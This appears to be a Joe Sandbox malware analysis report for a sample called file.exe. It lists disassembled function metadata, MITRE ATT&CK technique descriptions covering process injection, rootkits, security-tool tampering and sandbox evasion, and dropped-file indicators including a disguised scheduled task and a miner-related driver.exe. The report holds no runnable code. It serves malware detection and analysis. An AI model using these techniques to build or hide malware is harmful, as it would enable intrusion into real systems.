API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 25aad5721677bc98cafa89319ea8e24db697cc3f84d272024727a276e12cc536
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: B5515C32180A82CEEB64CB2695843A97FE1F355BD4F18C226DB9987BD5CF38E491C701

Function 000001F28C93AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C93ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001F28C93AE88

Strings

csm, xrefs: 000001F28C93AEDA
csm, xrefs: 000001F28C93ADC2

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 9177f0bf0d9df7804a9a46984ee0add15a62b848f9b6fecfe92ace9b6ae30fc5
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 2B518F72140AC28AEB748BB59D843B977E0F354BE5F1CA265DA5947BD5CF38D860CB00

Function 000001F28C1D8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C1D8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F28C1D84A8

Strings

f, xrefs: 000001F28C1D8426
csm, xrefs: 000001F28C1D848E

Memory Dump Source

Source File: 0000002F.00000002.3366878144.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: afc53225cc655b2fed49d42925427f3b528b099016d9c220d28cc2c64652b1ec
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 1D51AB32661A02CAFB18DB15E484BB93BE5F354BDCF518134DB1643B88EB78E841CB84

Function 000001F28C1D83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C1D8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F28C1D84A8

Strings

f, xrefs: 000001F28C1D8426
csm, xrefs: 000001F28C1D848E

Memory Dump Source

Source File: 0000002F.00000002.3366878144.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 5bb8fd39fd54a1bbbe4b45dd7fca3805f069a24c38516c4c1dc5b630a5076e57
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: C431BC72251B42D6F714DF12E884BA97BE8F740BC8F458124EF9A43B88DB38E941C784

Function 000001F28C942058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001F28C9420D7
WriteFile.KERNEL32 ref: 000001F28C94239F
WriteFile.KERNEL32 ref: 000001F28C9423E5
GetLastError.KERNEL32 ref: 000001F28C94249B

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: c39e5784b660c4a4d2f64d18794380c2bf08d3c743fbeb2aeb89f9dd3d7ee852
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: E0D19A72B54E818AE711CBA9D4402FC7BF1F358BD8F1482A6DE5997B99DB34C506C340

Function 000001F28C9314A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C9314C5
HeapFree.KERNEL32 ref: 000001F28C9314D4
GetProcessHeap.KERNEL32 ref: 000001F28C9314E1
HeapFree.KERNEL32 ref: 000001F28C9314F0
GetProcessHeap.KERNEL32 ref: 000001F28C931500

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: 6a44d1e2dfff894d57fae1d393df2fad9fd7c7e601c52ccba1ddab5a2a16cdc8
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: 90014476640ED1DAE704EF66E9082AAA7E0F78CFC1F088435EA4A43729EF38C151C740

Function 000001F28C942980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001F28C942A9C
GetLastError.KERNEL32 ref: 000001F28C942B27

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: fc060a2a777751a54c3aac3ae4014f4932e9590c1f0470bfe82fe847ff4173f9
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: DD91CE72B50ED289FB64DF6594903FD3BE0B745BC8F1481A9DE0AA7A95DB34C482C700

Function 000001F28C937960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001F28C93798C
GetCurrentThreadId.KERNEL32 ref: 000001F28C93799A
GetCurrentProcessId.KERNEL32 ref: 000001F28C9379A6
QueryPerformanceCounter.KERNEL32 ref: 000001F28C9379B6

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 96732df7916216e4dd4de8696d19f0f646e57f72df42aa736ed25244752b7042
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: B0111872790F428AEB008B70E8543B833A4F719798F441E35DA6D477A4EB78D2988380

Function 000001F28C93253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001F28C932620
StrCpyW.SHLWAPI ref: 000001F28C932639

Strings

\\.\pipe\, xrefs: 000001F28C93262B

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: a81e46be2f1358104ca60f674bf27db7b8eb3ba3bc6c3102e371a9ccd66cc1d5
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 1B719F36280FC286EB259F36A8483FA67D4F389BC4F582076DD0A53B9ADF35D6458700

Function 000001F28C1D9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001F28C1D9EB7

Strings

MOC, xrefs: 000001F28C1D9E7C
RCC, xrefs: 000001F28C1D9E85

Memory Dump Source

Source File: 0000002F.00000002.3366878144.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: ae7e25292b4b5205da875e4987803c657081cd892f163ddae90b46efd944a166
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 7E613432A01B868AEB20DF69D4803ED7BA0F748BD8F144225EF4917B99DB78E595C740

Function 000001F28C932330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001F28C932416
StrCpyW.SHLWAPI ref: 000001F28C93242D

Strings

\\.\pipe\, xrefs: 000001F28C932421

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 2488fe1737ff95e66ad044885111441f0c3a749c14707708a82aa8e704c637ae
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: B551C072284FC381EB649A3AA4583FAA7D1F3857C0F4D61B5DE5903B9ADB39C6058740

Function 000001F28C9426F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001F28C942807
GetLastError.KERNEL32 ref: 000001F28C942829

Strings

U, xrefs: 000001F28C9427B3

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 2514762f6e10ab6845feae25dddec55dde5b08df4a5e13f98591cf2ab0d60153
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 60418D72615E8186EB209F25E8443FAB7A0F798BD4F548171EE4E87798EB3CC541CB50

Function 000001F28C9394A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001F28C9394F0
RaiseException.KERNEL32 ref: 000001F28C939531

Strings

csm, xrefs: 000001F28C93951E

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: a1389ac8532826ac596aaee6b13d59646ba39f355e91e1ec56b6d169f0d5a3fa
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 61112832214FC182EB618F25E4443A9B7E5FB88B94F598264EE8C07B69DF3CC595CB00

Function 000001F28C1D7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001F28C1D737C

Strings

riptor at (, xrefs: 000001F28C1D7364
ierarchy Descriptor', xrefs: 000001F28C1D7381

Memory Dump Source

Source File: 0000002F.00000002.3366878144.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 09633eca710365df152610dc5942b59f08b7406966c11a0154c1b9ae03bc6ca5
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 09E086B1680F4690DF028F62E8802E837E0DB58BA4B489132DA5C47351FB7CD1E9C300

Function 000001F28C1D73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001F28C1D73D8

Strings

riptor at (, xrefs: 000001F28C1D73C0
Locator', xrefs: 000001F28C1D73DD

Memory Dump Source

Source File: 0000002F.00000002.3366878144.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 6f46bb36e99698124d87c0e4d324587b24abbfd4879edec8008199ce5951e68a
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 74E0E6B1651F45D4DF028F61E4901E877A5E758B94B889132DA5C47355EB78D1E5C300

Function 000001F28C931BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C931C2D
HeapAlloc.KERNEL32 ref: 000001F28C931C3B
GetProcessHeap.KERNEL32 ref: 000001F28C931C77
HeapFree.KERNEL32 ref: 000001F28C931C85

Part of subcall function 000001F28C93152C: StrCmpIW.SHLWAPI ref: 000001F28C93155D

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 4d82505500ce06d62ce877f2f89efa63fb9e64a04db03c9d2b6106834071bf2b
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 67113A35641F8686EA54DB66A8082B967E1FB89FC0F1890B9DE4D57776EF38C442C300

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Change of critical system settings

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\IGaming\driver.exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kkabvpkw.ntx.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r043ndhn.0jn.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ui3z5s3s.gdn.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y4ur20yo.jej.ps1

C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Windows\System32\winevt\Logs\Application.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx

Windows Analysis Report
file.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

